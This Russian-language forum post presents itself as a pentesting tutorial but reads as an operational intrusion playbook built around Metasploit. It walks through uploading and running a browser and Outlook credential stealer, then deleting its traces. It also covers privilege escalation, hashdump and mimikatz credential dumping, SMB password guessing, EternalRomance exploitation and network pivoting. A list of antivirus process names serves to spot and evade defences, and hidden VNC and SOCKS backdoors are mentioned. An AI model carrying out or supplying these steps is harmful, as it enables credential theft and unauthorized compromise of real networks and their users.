Как даются знания в пентестинге

  • Автор темы Admin

Admin

#1
Администратор
Регистрация
31.12.2019
Сообщения
6,977
Реакции
34
Как работалось в далеком 16-17, ну и раньше.

Всем привет. Решил вам выложить материал, Материал подготовленный мною на базе с разбора материала
которую давал хороший человек, под Ником Rush. Жаль связь утерялась) Часть удалена либо переделанная, что б не подставлять
ребят и не нарушать этику. Материал выложен в виде учебного пособия для работы, максимально приближено к истена на тот промежуток времени.
Фото и видео не будет. Нет в принципе ничего нового, просто хочу показать, как в далеком 2016-17 году ребята работали, как знаниями старшие делились.
Тогда и инструментов было по меньше )

Основной инструмент - Metasploit. Прошло более 5 лет и данный материал можно выпускать в свет. Если вы здесь что то не поняли, то вы еще на уровне новичка.
Если читаете и все вам как песня льется, то вы уже достаточно продвинутый, можно сказать вы как минимум оператор Ред Тим. И так, погнали.
Критика мне не нужна, так как выложил материал - факт. А кто хочет лить негатив, то жду его только после вашего материала.

pssteal
поместим /root/stealer.ps1
в метерпетере запускаем шелл
как он пробивает, чтоб собрать учетки?

=========== PSSTEAL ===========

stealer.ps1 - модуль для сбора данных со всех браузеров, а так же клиентов outlook логинов:паролей, и прочей информации.
Применяется при разработке клиента в социальной сфере, а так же для обязательного отчета-чеклиста.
Особык нюансы: требование соблюдение битности powershell и os.

Запуск x64:

%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\powershell.exe -ep unrestricted -file C:\\Intel\\stealer.ps1

x86:

%SystemRoot%\\syswow64\\WindowsPowerShell\\v1.0\\powershell.exe -ep unrestricted -file C:\\Intel\\stealer.ps1

Результат сохраняется в:

C:\Users\[ИМЯ ПОЛЬЗОВАТЕЛЯ]\AppData\Roaming\[ИМЯ ПОЛЬЗОВАТЕЛЯ].ini

Формат результата:
код программы, ссылка, логин, пароль
Обязательно удалять сам stealer и файл отчета .ini !!!

========== Как работает payload в Metasploit ===========

Payloadы могут быть как EXE файлам, так и dll, ps1, cmd, vba, js, python, etc.
По сути от них требуется только загрузить stager который установит соединение с сервером МСФ.
Теперь о тех самых частях:
- payload - Первым запускается, соотвественно должен быть сигнатурно чистым, а так же при загрузке stager не вызывать
никаких детектов антивирусов.
- stager - Основное "тело" тот самый код котроый непосредственно общается с сервером МСФ и выполняет команды.
- listener - Принимающая сторона сервера МСФ, по сути активный демон который "слушает" указанные порты на
сервере и ждет подключения от stager.

Теперь становится очедвиным что основные проблемы могут возникать в случае когда listener зависает, он перестает выдавать stager,
а так же реагировать на запросы от него же. По этому в случае если "payload size" нет - это значит что stager не был выдан, то есть
listener нужно перезапустить.

===================Как использовать PSSTEAL=====================

заходим в сессию
метерпретор
заливаем
upload /root/stealer.ps1 C:\\Intel
если 64
запускаем
cd Intel
shell %SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\powershell.exe -ep unrestricted -file C:\\Intel\\stealer.ps1
если 86
shell %SystemRoot%\\syswow64\\WindowsPowerShell\\v1.0\\powershell.exe -ep unrestricted -file C:\\Intel\\stealer.ps1

Пароли сохраняься тут:
C:\Users\Tesson PC\AppData\Roaming\Tesson PC.ini
общий вид
C:\Users\[Username]\AppData\Roaming\[Username].ini

скачиваем через:
- access filesystem
C:\Users\Tesson PC\AppData\Roaming\Tesson PC.ini

удаляем
- access filesystem
C:\Users\Tesson PC\AppData\Roaming\Tesson PC.ini
и сам stealer.ps1

<F> хост -> win_privs -> определяем права:
------> нет uac, admin - true -> getsystem -> снимаем все учетки
------> есть uac, admin - true -> модуль для подьема под конкретную операционную систему -> снимаем учетки
------> есть учетки, admin - false -> psexec/tinymet на самих себя -> получаем system и снимаем учетки
------> нет учеток, admin - false ОС Виндовс 7 -> пишем Сергею он поднимает права -> дает учетки вам и по плану
------> нет учеток, windows 10 -> тут еще пишется модуль, только соц сектор по сети не получится
<F> psexec - это для консольной версии

Разработаны специальные решения для удаленного доступа - HideVNC

Компания располагает следующими ПО:
- ВНЦ
- Соксы
- Telnet (удаленная CMD консоль)
ВНЦ для внутренних рассылок
Соксы - специфические задачи в которых нжен клиентский ИП
Телент - резервные доступы к консоли юзера в случае неработоспособности мсф

есть 2 разных уровня прав:
- ПОЛЬЗОВАТЕЛЬ
- Администратор
- Администратор с ЮАК

Действия после того как попали на ОС:
---> sysinfo:
- Определяем разрдяность и проверяем соотвествует ли она битности meterpreter:
---> Нет -> ps -> миграция в процесс который соотвествует битности
---> Да -> ps -> миграция в процесс той же битности
---> Выполняем сбор данных "Collect sysinfo"
----> Выполнился -> Анализируем,
----> Не выполнился -> выполняем руками:
---> netstat (консоль)
---> arp (консоль)
---> shell "net view" (консоль)
---> screenshot (модуль в панеле)
----> Выполняем чеклист по правам.
----> Поднялись ли к системе:
----> ДА
----> Включаем пивотинг.
----> ЧЕК ЛИСТ Сеть.
----> НЕТ
----> Рассматриваем
----> ЧЕК ЛИСТ Упрощенная сеть.


========= ЧЕК ЛИСТ ПРАВА ===========

хост -> win_privs -> определяем права:
------> нет uac, admin - true -> getsystem -> снимаем все учетки
------> есть uac, admin - true -> модуль для подьема под конкретную операционную систему -> снимаем учетки
------> есть учетки, admin - false -> psexec/tinymet на самих себя -> получаем system и снимаем учетки (auxiliary/admin/smb/psexec_powershell_tinymet
)
------> нет учеток, admin - false ОС Виндовс 7 -> пишем Сергею он поднимает права -> дает учетки вам и по плану
------> нет учеток, windows 10 -> тут еще пишется модуль, только соц сектор по сети не получится

========== ПОСЛЕ ПОЛУЧЕНИЯ СЕССИИ ===========

Действия после того как попали на ОС:
---> sysinfo:
- Определяем разрдяность и проверяем соотвествует ли она битности meterpreter:
---> Нет -> ps -> миграция в процесс который соотвествует битности
---> Да -> ps -> миграция в процесс той же битности
---> Выполняем сбор данных "Collect sysinfo"
----> Выполнился -> Анализируем,
----> Не выполнился -> выполняем руками:
---> netstat (консоль)
---> arp (консоль)
---> shell "net view" (консоль)
---> screenshot (модуль в панеле)
----> Выполняем чеклист по правам.
----> Поднялись ли к системе:
----> ДА
----> Включаем пивотинг.
----> ЧЕК ЛИСТ Сеть.
----> НЕТ
----> Рассматриваем
----> ЧЕК ЛИСТ Упрощенная сеть.

=============== ЧЕК ЛИСТ СЕТЬ ==============

Выполнять чек-лист только при наличии учетных записей.
Проверить включен ли pivoting?
Проверить что дал результат "net view", если видим что найденны машины, вводим: shell "ping VASYA", получим IP адресса удаленных хостов.
Проверить что дал результат netstat, к каким сетевым адрессам подключен хост, возможно подключен к отличым диапазонам? например мы тут 192.168.10.5, а подключение к 192.168.1.5? Если да то сохранить диапазон для дальнейшего сканирования.
Проверить находимся мы в стандартном диапазоне (192.168.1.xxx) свойственному маленькой локальной сети или же находимся в сети больше (192.168.XXX.XXX)?
Проверить результат ARP? Наличие других диапазонв? Наличие видимых соседей?
Проверить наличие шар на машине? Другой диапазон шары - добавить диапазон в список для сканирования.
Проверить шлюз на октрытые 80/443 порты, сделать туда port forwarding после чего в таблице DHСP посмотреть все другие локальные ИП.

---> ipconfig ----> определяем текущий рабочий диапазон, а так же все сетевые интерфейсы. Получаем к примеру:
- 192.168.1.0/24
- 10.0.1.0/24
---> ARP_SCAN - определяем все доступные в своем диапазоне хосты, по результату видим производителей программного обеспечения и легко можем выявить конечный продукт.
---> SMB_VERSION - определяем версии удаленных хостов, name + os. На основе этого выялвяем windows 2000/2003/xp хосты и сохраняем их на случай не нахождения других возможных вариантов.
---> SMB_LOGIN - сканируем и ищем где наши учетки валидные. Есть ли права администратора?
-> ДА -> Поднимаемся туда с помощью psexec.
-> НЕТ:
-----> Windows 2000/2003/xp/other ---> применяем модуль eternalr omance
-----> Пролетаем

========== Определние размера сети ===========

Руководство касаемо определния размера сети.
Всегда смортим и обращаем внимание на то где мы находимся, рассмотрим на примере, если хост имеет один сетевой интерфейс и там IP: 192.168.1.4 - 98% что вся сеть это 192.168.1.0-255, больше скорее всего там ничего нет.
Другой случай если это 192.168.75.5, тут мы видим что администраторы при настройках указали хосту сетевой адрес НЕ свойственный мкаленьким workgroup сетям.
Для проверки и нахождения соседей нам нужно как минимум выяснить чем руководствовались администраторы для правильной организации локальной сети.
В данном случае очевидно что скорее всего сеть выглядит вот так вот:
........
192.168.73.5
192.168.74.5
192.168.75.5
192.168.76.5
192.168.77.5
........
В зависимости от размера клиента таким образом можно уместить до 253 отдельных юнитов, очень удобно и в основном так и встречается в своем поддиапазоне находится отдельный сегмент сети, обычно в 192.168.1 или 0.xxx располагается центральный офис.
Соотвественно для проверки нам необходимо:
-> Просканировать НЕ меньше 3 хостов + и 3 хостов - от текущего хоста, то есть:
192.168.72.5, 192.168.73.5, 192.168.74.5
192.168.76.5, 192.168.77.5, 192.168.78.5
Для чего это необходимо? не обязательно системные администраторы делают +1 или -1, может спокойно быть такое что один из поддиапазонов не будет работать или же находится в данный момент оффлайн оборудывание которое там работает.
Если проверка не дала резульата - мы сканируем целиком полностью все эти 6 диапазонов в маске /24


=========== ОГРАНИЧЕННАЯ СЕТЬ ===========

Применять в случае если нет учетных данных.
Делаем основной упор на поиск старых уязвимых хостов, а так же возможные пустые пароли.
Ищем все так же windows 2000/2003/xp/vista etc.
Делаем SMB_LOGIN с стандартными паролями для:
- Administrator
- Guest (это актуально для eternal romance) в том числе изолированных win7.
Пустых паролей не бывает в windows, по этому пустой пароль это хэш пустого пароля:
- aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
Смотрим по наличию шар, если есть шары там в файлах могут находится пароли в таких папках как IT, Support, и в файлах с характерным названием access, etc.
Смотрим рабочий стол на наличие файлов с паролями в VNC / ETC.


======== ПОЛУЧЕНИЕ ХЭШЕЙ ПАРОЛЕЙ ==========

Программное обеспечение и разбор применения.
- hashdump
Дает в результате хэши формата lm:ntlm + username, применимо в psexec модулях.
- sso / mimikatz
Дает пароли в открытом виде, решение в PRO версии под устарело, выдает не все инфо.
О паролях и хэшах, лучше всего стараться получать пароли в открытом виде, так как хэш пароля имеет ограниченный спектр применения в модулях, по сути это psexec и все, но он уже не работает при использовании других модулей.

============ PORTFORWARD =================

ДОБАВЛЕНИЕ:
portfwd add –l [my port] -L [my host / if no use - localhost] –p [target port] –r [target host]
Описание:
-l - порт на сервере МСФ
-L - вписать ip, если не сделать этого, будет localhost
-p - порт какой форвардить на локальной машине
-r - локальная машина во внутренней сети.
=====
Список:
portfwd list - отобразить список
=====
Удаление:
portfwd delete –l [my port] –p [target port] –r [target host]
Если использовал -L - вписывать обязательно!!!
portfwd add –l 7777 -L 5.187.1.96 -p 80 –r 192.168.7.69
=====

По итогу будет создан тунель
локальная машина:порт локальной <-> IP MSF:pORT
к примеру есть роутер в локал сети, находится 192.168.1.1:80,
создаем тунель с нашим МСФ и при входе ИП МСФ:ПОРТ МСФ - мы увидим окно авторизации роутера

enum_domains - показывает есть ли домен
enum_ad_users - домен что показал enum_domains
options
------
max_search - 500
uac - uac
exlude_locked - checked
exclude_disabled - checked
если ошибка ->
shell "net view"

enum_domain_group_users
group: domain admins
group: Enterprise Admins

попал на новую машину ->
sso
hashdump

enum_ad_computers - компы в домене
enum_shares - поиск шаровых папок


Процессы антивируса:

======= ПРОСТЫЕ ========

Fortinet Smart Security - кроме фаерволла
Panda Internet Security
BullGuard Internet Security
AhnLab V3 Ligh
Webroot SecureAnywhere
360 Total Security
Dr.Web Security Space
IKARUS anti.virus
Avira Antivirus Pro
Avast Pro
VIPRE
ESET
McAfee
MSE
Norton
AVG
====== СРЕДНИЕ ========
Emsisoft
F-Secure
Malwarebytes
Trend Micro
Bitdefender
Sophos
Symanteс

======= СЕРЬЕЗНЫЕ ========

Kaspersky
CylancePROTECT®
COMODO
Bit9

'Enhanced Mitigation Experience Toolkit' => array(
'EMET_Agent.exe'
),
'AVG Antivirus Buisness Edition' => array(
'avgcsrva.exe',
'avgemca.exe',
'avgfwsa.exe',
'avgidsagenta.exe',
'avgnsa.exe',
'avgsvca.exe',
'avgui.exe',
'avguix.exe',
'avgwdsvca.exe',
'AVGUI.exe',
'AVGSvc.exe'
),
'Malwarebytes Anti-Malware for Business' => array(
'mbae.exe',
'mbae64.exe',
'mbae-svc.exe',
'mbamgui.exe',
'mbamscheduler.exe',
'mbamservice.exe',
'MB3Service.exe',
'mbarw.exe'
),
'Trend Micro Worry-Free Business Security Advanced' => array(
'xpupg.exe',
'NTRTScan.exe',
'upgrade.exe',
'TMListen.exe',
'TMProxy.exe',
'TmCCSF.exe',
'TMBMSRV.exe',
'PccNTMon.exe'
),
'Symantec Endpoint Protection' => array(
'ccSvcHst.exe'
),
'Kaspersky Internet Security' => array(
'avp.exe',
'avpsys.exe',
'avpui.exe',
'ksdeui.exe',
'ksde.exe'
),
'Kaspersky End Point Protection' => array(
'KaseyaEndpoint.exe'
),
'Norton Security 2015' => array(
'ns.exe',
'NS.exe',
'NS.EXE'
),
'MSE' => array(
'NisSrv.exe',
'MpCmdEng.exe',
'Msseces.exe',
'msseces.exe'
),
'McAfee Small Buisness' => array(
'McUICnt.exe',
'mcapexe.exe',
'mfmms.exe',
'QcShm.exe',
'McVulAlert.exe',
'mcsacore.exe',
'mcshield.exe',
'McClientAnalytics.exe',
'McCSPServiceHost.exe',
'ModuleCoreService.exe',
'McSvHost.exe',
'McUICnt.exe',
'mfefire.exe',
'mfemms.exe'
),
'Sophos Endpoint Security and Control' => array(
'ALMon.exe',
'Alsvc.exe',
'SAVAdminService.exe',
'SavService.exe',
'swc_service.exe',
'swi_service.exe'
),
'McAfee VirusScan Enterprise 8.8' => array(
'FrameworkSsservice.exe',
'McScript_InUse.exe',
'naPrrdMgr.exe',
'UpdaterUI.exe',
'mcupdate.exe',
'mfeann.exe',
'shstat.exe',
'VsTskMgr.exe'
),
'ESET' => array(
'egui.exe',
'ekrn.exe'
),
'VIPRE' => array(
'SBAMTray.exe',
'SBAMSvc.exe',
'SBPIMSvc.exe'
),
'Avast Pro' => array(
'AvastSvc.exe',
'Avastgui.exe'
),
'Avira Internet Security' => array(
'avmailc7.exe',
'avshadow.exe',
'avwebg7.exe'
),
'Avira Antivirus Pro' => array(
'avgnt.exe',
'avguard.exe',
'Avira.ServiceHost.exe',
'Avira.Systray.exe'
),
'BitDefender Total Security' => array(
'BITS.exe',
'DevMgmtService.exe',
'ProductAgentService.exe',
'bdagent.exe'
),
'IKARUS anti.virus' => array(
'guardxservice_x64.exe',
'guardxkickoff_x64.exe'
),
'Dr.Web Security Space' => array(
'spideragent.exe',
'frwl_notify.exe',
'dwantispam.exe'
),
'360 Total Security' => array(
'QHSafeTray.exe',
'PatchUp.exe'
),
'Bitdefender Endpoint Security' => array(
'EndpointService.exe',
'EndpointIntegration.exe'
),
'CylancePROTECT®' => array(
'CylanceSvc.exe',
'CylanceUI.exe'
),
'COMODO Internet Security' => array(
'cis.exe',
'vkise.exe',
'CisTray.exe'
),
'Webroot SecureAnywhere' => array(
'WRSA.exe'
),
'Parity Agent by Bit9' => array(
'Parity.exe'
),
'AhnLab V3 Light' => array(
'V3Lite.exe',
'v3lite.exe'
),
'BullGuard Internet Security' => array(
'BullGuardScanner.exe',
'BullGuardNetworkScanner.exe',
'BullGuardUpdate.exe',
'BullGuardBhvScanner.exe'
),
'Panda Internet Security' => array(
'PSUAMain.exe',
'PSUAService.exe',
'PSANHost.exe'
),
'Trend Micro Internet Security' => array(
'PtWatchDog.exe',
'PtSessionAgent.exe'
),
'Fortinet Smart Security' => array(
'FortiWF.exe',
'FortiESNAC.exe',
'FortiSSLVPNdaemon.exe'
),
'Malwarebytes Anti-Malware' => array(
'MBAMService.exe'
),
'F-Secure Internet Security' => array(
'FSMA32.EXE',
'FSHDLL64.EXE',
'fshoster32.exe',
'fshoster64.exe'
),
'Norton Internet Security' => array(
'NIS.exe'
),
'Emsisoft Anti-Malware' => array(
'a2service.exe',
'a2start.exe',
'a2guard.exe'
),
'Norton Security Deluxe' => array(
'nortonsecurity.exe'
)

разобраться с Hide VNC

enum_domains - показывает есть ли домен
enum_ad_users - домен что показал enum_domains
options
------
max_search - 500
uac - uac
exlude_locked - checked
exclude_disabled - checked

если ошибка

->
enum_domain_group_users
group: domain admins
group: Enterprise Admins

enum_ad_user_comments

попал на новую машину


auxiliary/admin/smb/psexec_powershell_tinymet

enum_ad_computers - компы в домене
enum_shares - поиск шаровых папок

Это по домену инструкции, то есть этими командами узнаешь есть ли домен как называет какие компы в сети какие еще домены есть.

Вот файл, который вы грузите на ПК юзера:

1) в папку Intel
2) если нету такой то в %temp%
дальше чтобы запустить этот файл на ПК юзера надо в метерпретере вписать:
shell C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -ep unrestricted -file C:\\Intel\\intel.ps1


shell "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -ep unrestricted -file C:\\Users\Google\\AppData\Local\\Temp\\w10.ps1"

где C:\\Intel\\intel.ps1 это путь к файлу, пишем только с двойными слешами \
после отработки файла, он сохраняет лог в папку %temp% c названием chelentano.log
забыл отметить что это работает только НА WINDOWS 10

теперь как работает powerview

ты ложишь файл грубо говоря в папку temp
потом пишешь так:

shell "powershell.exe Import-Module C:\\Users\\ecollier\\AppData\\Loca\\Temp\\PowerView.ps1"
C:\\Users\\ecollier\\AppData\\Loca\l\Temp\\PowerView.ps1
shell "powershell.exe Import-Module C:\\Users\\ecollier\\AppData\\Loca\\Temp\\PowerView.ps1"
shell powershell.exe Get-Command -Module Reco

Пока изучаете как его использовать предлагаю вам установить его на виртуалки и самим попробовать команды:

https://github.com/PowerShellMafia/PowerSploit/archive/master.zip

Качаем архив, потом папку Recon кидаем в:
C:\\Windows\System32\WindowsPowerShell\v1.0\Modules

Дальше запускаем командную строку и вписываем следующее:
powershell.exe -nop -exec bypass

Попадаем в PS> и пишем:

потом проверяем добавился ли он командой:

если вы все сделали правильно то у вас должен быть список команд.
Спасибо всем за внимание. Надеюсь все понятно, или понятно что и куда копать дальше. Пользуйтесь молодежь.

Автор: AlexLyt
 

Members, viewing this thread

Сейчас на форуме нет ни одного пользователя.